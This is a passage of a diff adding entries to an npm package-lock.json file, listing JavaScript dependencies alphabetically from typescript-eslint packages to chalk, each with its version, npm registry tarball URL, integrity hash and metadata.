+ "node": "^16.0.0 || >=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/typescript-eslint"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+ "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^1.0.0"
+ }
+ },
+ "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": {
+ "version": "9.0.3",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.3.tgz",
+ "integrity": "sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==",
+ "dependencies": {
+ "brace-expansion": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=16 || 14 >=14.17"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/@typescript-eslint/utils": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-6.21.0.tgz",
+ "integrity": "sha512-NfWVaC8HP9T8cbKQxHcsJBY5YE1O33+jpMwN45qzWWaPDZgLIbo12toGMWnmhvCpd3sIxkpDw3Wv1B3dYrbDQQ==",
+ "dev": true,
+ "dependencies": {
+ "@eslint-community/eslint-utils": "^4.4.0",
+ "@types/json-schema": "^7.0.12",
+ "@types/semver": "^7.5.0",
+ "@typescript-eslint/scope-manager": "6.21.0",
+ "@typescript-eslint/types": "6.21.0",
+ "@typescript-eslint/typescript-estree": "6.21.0",
+ "semver": "^7.5.4"
+ },
+ "engines": {
+ "node": "^16.0.0 || >=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/typescript-eslint"
+ },
+ "peerDependencies": {
+ "eslint": "^7.0.0 || ^8.0.0"
+ }
+ },
+ "node_modules/@typescript-eslint/visitor-keys": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-6.21.0.tgz",
+ "integrity": "sha512-JJtkDduxLi9bivAB+cYOVMtbkqdPOhZ+ZI5LC47MIRrDV4Yn2o+ZnW10Nkmr28xRpSpdJ6Sm42Hjf2+REYXm0A==",
+ "dependencies": {
+ "@typescript-eslint/types": "6.21.0",
+ "eslint-visitor-keys": "^3.4.1"
+ },
+ "engines": {
+ "node": "^16.0.0 || >=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/typescript-eslint"
+ }
+ },
+ "node_modules/@ungap/structured-clone": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.1.tgz",
+ "integrity": "sha512-fEzPV3hSkSMltkw152tJKNARhOupqbH96MZWyRjNaYZOMIzbrTeQDG+MTc6Mr2pgzFQzFxAfmhGDNP5QK++2ZA=="
+ },
+ "node_modules/@vercel/speed-insights": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/@vercel/speed-insights/-/speed-insights-1.2.0.tgz",
+ "integrity": "sha512-y9GVzrUJ2xmgtQlzFP2KhVRoCglwfRQgjyfY607aU0hh0Un6d0OUyrJkjuAlsV18qR4zfoFPs/BiIj9YDS6Wzw==",
+ "hasInstallScript": true,
+ "peerDependencies": {
+ "@sveltejs/kit": "^1 || ^2",
+ "next": ">= 13",
+ "react": "^18 || ^19 || ^19.0.0-rc",
+ "svelte": ">= 4",
+ "vue": "^3",
+ "vue-router": "^4"
+ },
+ "peerDependenciesMeta": {
+ "@sveltejs/kit": {
+ "optional": true
+ },
+ "next": {
+ "optional": true
+ },
+ "react": {
+ "optional": true
+ },
+ "svelte": {
+ "optional": true
+ },
+ "vue": {
+ "optional": true
+ },
+ "vue-router": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/acorn": {
+ "version": "8.14.0",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz",
+ "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==",
+ "peer": true,
+ "bin": {
+ "acorn": "bin/acorn"
+ },
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/acorn-jsx": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
+ "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
+ "peerDependencies": {
+ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
+ }
+ },
+ "node_modules/ajv": {
+ "version": "6.12.6",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+ "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "dependencies": {
+ "fast-deep-equal": "^3.1.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/epoberezkin"
+ }
+ },
+ "node_modules/analytics": {
+ "version": "0.8.19",
+ "resolved": "https://registry.npmjs.org/analytics/-/analytics-0.8.19.tgz",
+ "integrity": "sha512-JFgasxpWFiAoqm5UHaGQv9j9OGz+f1KAeQkABYr3Z7YGhiqhQrBpPhIVAIEyttBRJZmew1QwMhN9/bOGGBnpJA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/davidwells"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/core": "^0.13.2",
+ "@analytics/storage-utils": "^0.4.4"
+ }
+ },
+ "node_modules/analytics-utils": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/analytics-utils/-/analytics-utils-1.1.1.tgz",
+ "integrity": "sha512-nRybjTpRAcHVhWb1cvYaOLJaI3R79r8XjMbu5c0wd2jKmANNqSrYwybiU0X3mp+CQQdm4YiAggTXb2cIA8XhUg==",
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/type-utils": "^0.6.4",
+ "dlv": "^1.1.3"
+ },
+ "peerDependencies": {
+ "@types/dlv": "^1.0.0"
+ }
+ },
+ "node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dependencies": {
+ "color-convert": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/any-promise": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
+ "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A=="
+ },
+ "node_modules/anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dependencies": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/apg-lite": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/apg-lite/-/apg-lite-1.0.5.tgz",
+ "integrity": "sha512-SlI+nLMQDzCZfS39ihzjGp3JNBQfJXyMi6cg9tkLOCPVErgFsUIAEdO9IezR7kbP5Xd0ozcPNQBkf9TO5cHgWw==",
+ "license": "BSD-2-Clause"
+ },
+ "node_modules/arg": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+ "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="
+ },
+ "node_modules/argparse": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+ },
+ "node_modules/aria-hidden": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.4.tgz",
+ "integrity": "sha512-y+CcFFwelSXpLZk/7fMB2mUbGtX9lKycf1MWJ7CaTIERyitVlyQx6C+sxcROU2BAJ24OiZyK+8wj2i8AlBoS3A==",
+ "dependencies": {
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/aria-query": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz",
+ "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/array-buffer-byte-length": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz",
+ "integrity": "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==",
+ "dependencies": {
+ "call-bind": "^1.0.5",
+ "is-array-buffer": "^3.0.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/array-includes": {
+ "version": "3.1.8",
+ "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.8.tgz",
+ "integrity": "sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.2",
+ "es-object-atoms": "^1.0.0",
+ "get-intrinsic": "^1.2.4",
+ "is-string": "^1.0.7"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/array-union": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+ "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/array.prototype.findlast": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz",
+ "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.2",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.0.0",
+ "es-shim-unscopables": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/array.prototype.findlastindex": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.5.tgz",
+ "integrity": "sha512-zfETvRFA8o7EiNn++N5f/kaCw221hrpGsDmcpndVupkPzEc1Wuf3VgC0qby1BbHs7f5DVYjgtEU2LLh5bqeGfQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.2",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.0.0",
+ "es-shim-unscopables": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/array.prototype.flat": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz",
+ "integrity": "sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==",
+ "dependencies": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.2.0",
+ "es-abstract": "^1.22.1",
+ "es-shim-unscopables": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/array.prototype.flatmap": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz",
+ "integrity": "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==",
+ "dependencies": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.2.0",
+ "es-abstract": "^1.22.1",
+ "es-shim-unscopables": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/array.prototype.tosorted": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz",
+ "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.3",
+ "es-errors": "^1.3.0",
+ "es-shim-unscopables": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/arraybuffer.prototype.slice": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz",
+ "integrity": "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==",
+ "dependencies": {
+ "array-buffer-byte-length": "^1.0.1",
+ "call-bind": "^1.0.5",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.22.3",
+ "es-errors": "^1.2.1",
+ "get-intrinsic": "^1.2.3",
+ "is-array-buffer": "^3.0.4",
+ "is-shared-array-buffer": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/ast-types-flow": {
+ "version": "0.0.8",
+ "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz",
+ "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ=="
+ },
+ "node_modules/astring": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/astring/-/astring-1.9.0.tgz",
+ "integrity": "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==",
+ "bin": {
+ "astring": "bin/astring"
+ }
+ },
+ "node_modules/asynckit": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
+ "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
+ "license": "MIT"
+ },
+ "node_modules/autolinker": {
+ "version": "3.16.2",
+ "resolved": "https://registry.npmjs.org/autolinker/-/autolinker-3.16.2.tgz",
+ "integrity": "sha512-JiYl7j2Z19F9NdTmirENSUUIIL/9MytEWtmzhfmsKPCp9E+G35Y0UNCMoM9tFigxT59qSc8Ml2dlZXOCVTYwuA==",
+ "license": "MIT",
+ "dependencies": {
+ "tslib": "^2.3.0"
+ }
+ },
+ "node_modules/autoprefixer": {
+ "version": "10.4.20",
+ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.20.tgz",
+ "integrity": "sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/autoprefixer"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "browserslist": "^4.23.3",
+ "caniuse-lite": "^1.0.30001646",
+ "fraction.js": "^4.3.7",
+ "normalize-range": "^0.1.2",
+ "picocolors": "^1.0.1",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "bin": {
+ "autoprefixer": "bin/autoprefixer"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ },
+ "peerDependencies": {
+ "postcss": "^8.1.0"
+ }
+ },
+ "node_modules/available-typed-arrays": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
+ "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
+ "dependencies": {
+ "possible-typed-array-names": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/axe-core": {
+ "version": "4.10.2",
+ "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.10.2.tgz",
+ "integrity": "sha512-RE3mdQ7P3FRSe7eqCWoeQ/Z9QXrtniSjp1wUjt5nRC3WIpz5rSCve6o3fsZ2aCpJtrZjSZgjwXAoTO5k4tEI0w==",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/axios": {
+ "version": "1.13.1",
+ "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.1.tgz",
+ "integrity": "sha512-hU4EGxxt+j7TQijx1oYdAjw4xuIp1wRQSsbMFwSthCWeBQur1eF+qJ5iQ5sN3Tw8YRzQNKb8jszgBdMDVqwJcw==",
+ "license": "MIT",
+ "dependencies": {
+ "follow-redirects": "^1.15.6",
+ "form-data": "^4.0.4",
+ "proxy-from-env": "^1.1.0"
+ }
+ },
+ "node_modules/axobject-query": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz",
+ "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/bail": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz",
+ "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/balanced-match": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+ },
+ "node_modules/base64-js": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+ "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/binary-extensions": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
+ "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==",
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/brace-expansion": {
+ "version": "1.1.12",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
+ "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^1.0.0",
+ "concat-map": "0.0.1"
+ }
+ },
+ "node_modules/braces": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
+ "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
+ "dependencies": {
+ "fill-range": "^7.1.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/browserslist": {
+ "version": "4.24.3",
+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.24.3.tgz",
+ "integrity": "sha512-1CPmv8iobE2fyRMV97dAcMVegvvWKxmq94hkLiAkUGwKVTyDLw33K+ZxiFrREKmmps4rIw6grcCFCnTMSZ/YiA==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "peer": true,
+ "dependencies": {
+ "caniuse-lite": "^1.0.30001688",
+ "electron-to-chromium": "^1.5.73",
+ "node-releases": "^2.0.19",
+ "update-browserslist-db": "^1.1.1"
+ },
+ "bin": {
+ "browserslist": "cli.js"
+ },
+ "engines": {
+ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+ }
+ },
+ "node_modules/buffer": {
+ "version": "6.0.3",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
+ "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "base64-js": "^1.3.1",
+ "ieee754": "^1.2.1"
+ }
+ },
+ "node_modules/call-bind": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
+ "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.0",
+ "es-define-property": "^1.0.0",
+ "get-intrinsic": "^1.2.4",
+ "set-function-length": "^1.2.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/call-bind-apply-helpers": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
+ "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "function-bind": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/call-bound": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
+ "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.2",
+ "get-intrinsic": "^1.3.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/callsites": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/camelcase": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz",
+ "integrity": "sha512-DLIsRzJVBQu72meAKPkWQOLcujdXT32hwdfnkI1frSiSRMK1MofjKHf+MEx0SB6fjEFXL8fBDv1dKymBlOp4Qw==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/camelcase-css": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
+ "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/caniuse-lite": {
+ "version": "1.0.30001759",
+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001759.tgz",
+ "integrity": "sha512-Pzfx9fOKoKvevQf8oCXoyNRQ5QyxJj+3O0Rqx2V5oxT61KGx8+n6hV/IUyJeifUci2clnmmKVpvtiqRzgiWjSw==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "CC-BY-4.0"
+ },
+ "node_modules/ccount": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz",
+ "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/chalk": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
